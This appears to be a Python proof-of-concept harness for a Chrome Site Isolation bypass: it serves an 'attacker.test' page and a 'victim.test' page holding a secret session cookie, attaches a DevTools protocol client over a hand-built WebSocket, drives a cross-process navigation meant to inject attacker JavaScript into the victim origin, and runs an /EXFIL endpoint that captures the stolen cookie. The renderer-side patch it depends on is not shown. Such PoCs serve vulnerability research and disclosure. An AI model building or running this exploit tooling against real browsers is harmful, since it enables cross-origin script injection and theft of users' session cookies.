#!/usr/bin/env python3
"""
POC HTTP server + DevTools client for Site Isolation bypass via
DevToolsSessionState cross-process reattach.

Serves two virtual hosts on the same port:
  - http://attacker.test:8080/  -- "compromised" renderer page
  - http://victim.test:8765/    -- cross-origin victim with secret cookie

Chrome must be launched with:
  --host-resolver-rules="MAP attacker.test 127.0.0.1, MAP victim.test 127.0.0.1"

This script also acts as a DevTools client (CDP over WebSocket) so that a
DevToolsSession is attached to the page. Without an attached client there is
no host_remote_ in the renderer and no session_state_cookie_ to poison.

The exfiltration endpoint /EXFIL is hit by the attacker's JS once it runs
inside the victim's main world. When that request arrives carrying
origin=http://victim.test:8765, the UXSS is proven.
"""
import http.server
import json
import socketserver
import sys
import threading
import time
import urllib.parse
import urllib.request

PORT = 8765
CDP_PORT = 9222

# ---------------------------------------------------------------------------
# Page bodies
# ---------------------------------------------------------------------------

ATTACKER_HTML = b"""<!DOCTYPE html>
<html>
<head><title>attacker</title></head>
<body>
<h1>attacker.test</h1>
<p>Compromised renderer. The patched DevToolsSession::DidCommitLoad has just
   sent a poisoned DevToolsSessionState to the browser process.</p>
<p id="status">Waiting before cross-process navigation...</p>
<script>
  // Give the renderer->browser Mojo message time to be processed and merged
  // into session_state_cookie_ before we kick off the navigation.
  setTimeout(function() {
    document.getElementById('status').textContent =
        'Navigating to victim.test (cross-process)...';
    window.location.href = 'http://victim.test:8765/secret.html';
  }, 1500);
</script>
</body>
</html>
"""

VICTIM_HTML = b"""<!DOCTYPE html>
<html>
<head><title>victim secret</title></head>
<body>
<h1>victim.test secret area</h1>
<p>Cookie: <span id="c"></span></p>
<script>
  document.getElementById('c').textContent = document.cookie;
</script>
</body>
</html>
"""

# ---------------------------------------------------------------------------
# Exfil capture
# ---------------------------------------------------------------------------

exfil_captured = threading.Event()
exfil_data = {}

# ---------------------------------------------------------------------------
# HTTP handler
# ---------------------------------------------------------------------------

class Handler(http.server.BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        sys.stderr.write("[http] %s %s\n" % (self.headers.get('Host', '?'),
                                              fmt % args))

    def do_GET(self):
        host = self.headers.get('Host', '')
        path = urllib.parse.urlparse(self.path).path

        # --- exfiltration sink -------------------------------------------
        if path == '/EXFIL':
            qs = urllib.parse.urlparse(self.path).query
            params = urllib.parse.parse_qs(qs)
            origin = params.get('origin', ['?'])[0]
            cookie = params.get('cookie', ['?'])[0]
            sys.stderr.write("\n" + "=" * 70 + "\n")
            sys.stderr.write("[!!!] EXFILTRATION RECEIVED\n")
            sys.stderr.write("[!!!]   from origin: %s\n" % origin)
            sys.stderr.write("[!!!]   cookie:      %s\n" % cookie)
            sys.stderr.write("=" * 70 + "\n\n")
            exfil_data['origin'] = origin
            exfil_data['cookie'] = cookie
            exfil_captured.set()
            self.send_response(200)
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            self.wfile.write(b'ok')
            return

        # --- victim.test --------------------------------------------------
        if 'victim' in host:
            if path == '/secret.html':
                self.send_response(200)
                self.send_header('Content-Type', 'text/html')
                # Set a secret cookie. This is the data the attacker should
                # NOT be able to read across the site-isolation boundary.
                self.send_header('Set-Cookie',
                                 'SESSION=victim-secret-deadbeef; Path=/')
                self.end_headers()
                self.wfile.write(VICTIM_HTML)
                return

        # --- attacker.test ------------------------------------------------
        if 'attacker' in host:
            if path in ('/', '/index.html'):
                self.send_response(200)
                self.send_header('Content-Type', 'text/html')
                self.end_headers()
                self.wfile.write(ATTACKER_HTML)
                return

        self.send_response(404)
        self.end_headers()
        self.wfile.write(b'not found: host=%s path=%s' %
                         (host.encode(), path.encode()))


class ReusableTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    allow_reuse_address = True
    daemon_threads = True


# ---------------------------------------------------------------------------
# DevTools (CDP) client
# ---------------------------------------------------------------------------
# Minimal RFC 6455 WebSocket client. Avoids external dependencies.

import socket
import struct
import base64
import os

def ws_connect(host, port, path):
    sock = socket.create_connection((host, port))
    key = base64.b64encode(os.urandom(16)).decode()
    req = (
        "GET %s HTTP/1.1\r\n"
        "Host: %s:%d\r\n"
        "Upgrade: websocket\r\n"
        "Connection: Upgrade\r\n"
        "Sec-WebSocket-Key: %s\r\n"
        "Sec-WebSocket-Version: 13\r\n"
        "\r\n"
    ) % (path, host, port, key)
    sock.sendall(req.encode())
    # Drain handshake response
    resp = b""
    while b"\r\n\r\n" not in resp:
        chunk = sock.recv(4096)
        if not chunk:
            raise IOError("ws handshake closed")
        resp += chunk
    if b"101" not in resp.split(b"\r\n", 1)[0]:
        raise IOError("ws handshake failed: %r" % resp[:200])
    return sock

def ws_send_text(sock, text):
    payload = text.encode()
    mask = os.urandom(4)
    masked = bytes(payload[i] ^ mask[i % 4] for i in range(len(payload)))
    hdr = bytearray([0x81])  # FIN + text
    n = len(payload)
    if n < 126:
        hdr.append(0x80 | n)
    elif n < 65536:
        hdr.append(0x80 | 126)
        hdr += struct.pack(">H", n)
    else:
        hdr.append(0x80 | 127)
        hdr += struct.pack(">Q", n)
    hdr += mask
    sock.sendall(bytes(hdr) + masked)

def ws_recv_text(sock, timeout=10.0):
    sock.settimeout(timeout)
    def readn(n):
        buf = b""
        while len(buf) < n:
            c = sock.recv(n - len(buf))
            if not c:
                raise IOError("ws closed")
            buf += c
        return buf
    b0, b1 = readn(2)
    op = b0 & 0x0f
    masked = b1 & 0x80
    ln = b1 & 0x7f
    if ln == 126:
        ln = struct.unpack(">H", readn(2))[0]
    elif ln == 127:
        ln = struct.unpack(">Q", readn(8))[0]
    if masked:
        mask = readn(4)
        data = bytes(readn(ln)[i] ^ mask[i % 4] for i in range(ln))
    else:
        data = readn(ln)
    if op == 0x8:  # close
        raise IOError("ws close frame")
    return data.decode('utf-8', 'replace')


def attach_devtools():
    """Connect a DevTools client to the page so a DevToolsSession exists in
    the renderer (giving it the host_remote_ the exploit needs)."""
    sys.stderr.write("[cdp] waiting for Chrome remote debugging endpoint...\n")
    targets = None
    for _ in range(60):
        try:
            with urllib.request.urlopen(
                    "http://127.0.0.1:%d/json/list" % CDP_PORT,
                    timeout=2) as r:
                targets = json.loads(r.read())
            break
        except Exception:
            time.sleep(0.5)
    if not targets:
        sys.stderr.write("[cdp] FAILED: remote debugging never came up\n")
        return None

    # Find a page target. Prefer one that is not a devtools:// page.
    page = None
    for t in targets:
        if t.get('type') == 'page' and 'devtools://' not in t.get('url', ''):
            page = t
            break
    if not page:
        sys.stderr.write("[cdp] FAILED: no page target found in %r\n" % targets)
        return None

    ws_url = page['webSocketDebuggerUrl']
    sys.stderr.write("[cdp] attaching to %s (%s)\n" %
                     (page.get('url'), page.get('id')))
    parsed = urllib.parse.urlparse(ws_url)
    sock = ws_connect(parsed.hostname, parsed.port, parsed.path)

    # The act of connecting already causes the browser to attach a
    # DevToolsSession to this page's renderer. Send a benign command to keep
    # the connection alive and confirm round-trip.
    ws_send_text(sock, json.dumps({"id": 1, "method": "Runtime.enable"}))
    try:
        resp = ws_recv_text(sock, timeout=5.0)
        sys.stderr.write("[cdp] Runtime.enable -> %s\n" % resp[:120])
    except Exception as e:
        sys.stderr.write("[cdp] warning: no response to Runtime.enable: %s\n" % e)

    # Navigate to the attacker page. This commits in the renderer that has
    # the DevToolsSession attached, triggering our injected DidCommitLoad
    # hook which poisons the browser-side session_state_cookie_.
    ws_send_text(sock, json.dumps({
        "id": 2,
        "method": "Page.navigate",
        "params": {"url": "http://attacker.test:%d/" % PORT}
    }))
    sys.stderr.write("[cdp] navigated to attacker.test; session attached, "
                     "draining events...\n")

    # Drain events until exfil arrives or timeout. Keeping the socket open
    # keeps the DevToolsSession alive across the cross-process navigation,
    # which is what causes the browser to forward session_state_cookie_ to
    # the victim renderer.
    deadline = time.time() + 30
    while time.time() < deadline and not exfil_captured.is_set():
        try:
            msg = ws_recv_text(sock, timeout=2.0)
            # Surface POC console messages
            if 'POC' in msg or 'PWNED' in msg:
                sys.stderr.write("[cdp] event: %s\n" % msg[:300])
        except socket.timeout:
            continue
        except Exception:
            break
    return sock


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------

def main():
    httpd = ReusableTCPServer(('127.0.0.1', PORT), Handler)
    th = threading.Thread(target=httpd.serve_forever, daemon=True)
    th.start()
    sys.stderr.write("[http] serving attacker.test + victim.test on "
                     "127.0.0.1:%d\n" % PORT)

    # Attach DevTools in a background thread (Chrome may not be up yet).
    cdp_th = threading.Thread(target=attach_devtools, daemon=True)
    cdp_th.start()

    # Wait for exfil or timeout.
    if exfil_captured.wait(timeout=45):
        sys.stderr.write("\n")
        sys.stderr.write("#" * 70 + "\n")
        sys.stderr.write("# UXSS CONFIRMED\n")
        sys.stderr.write("#\n")
        sys.stderr.write("# Attacker JS executed in victim's main world:\n")
        sys.stderr.write("#   origin = %s\n" % exfil_data.get('origin'))
        sys.stderr.write("#   cookie = %s\n" % exfil_data.get('cookie'))
        sys.stderr.write("#\n")
        sys.stderr.write("# Site Isolation bypass: a compromised renderer at\n")
        sys.stderr.write("# attacker.test injected JavaScript into victim.test's\n")
        sys.stderr.write("# main world via poisoned DevToolsSessionState.\n")
        sys.stderr.write("#" * 70 + "\n")
        # Hold briefly so Chrome stderr can flush
        time.sleep(2)
        sys.exit(0)
    else:
        sys.stderr.write("\n[!] TIMEOUT: no exfil received within 45s\n")
        sys.stderr.write("[!] Check Chrome stderr for [POC-ATTACKER] / "
                         "[POC-VICTIM] markers.\n")
        sys.exit(1)


if __name__ == '__main__':
    main()